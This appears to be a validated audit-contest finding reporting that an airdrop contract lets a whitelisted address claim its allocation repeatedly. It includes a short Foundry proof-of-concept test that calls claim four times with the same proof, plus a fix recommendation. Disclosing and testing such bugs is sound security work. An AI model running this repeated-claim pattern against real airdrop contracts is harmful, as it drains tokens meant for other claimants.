Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

It is possible for any claimant to claim thier allocation more than once

Summary

The issue here is that there is no check in place on whether the whitelisted address has already claimed its airdrop allocation. This makes it possible for any of the address to claim the remaining airdrop supply at any given time with multiple transactions in as much as they can cover the fee.

POC

function test__canClaimMoreThanOnce() public {
uint256 startingBalance = token.balanceOf(collectorOne);
vm.deal(collectorOne, airdrop.getFee() * 4);
vm.startPrank(collectorOne);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
vm.stopPrank();
assertEq(token.balanceOf(collectorOne), amountToSend);
}

Tool Used

Manual Review

Recommendation

Add a check in place to make sure all address can only claim once.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

multi-claim-airdrop

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.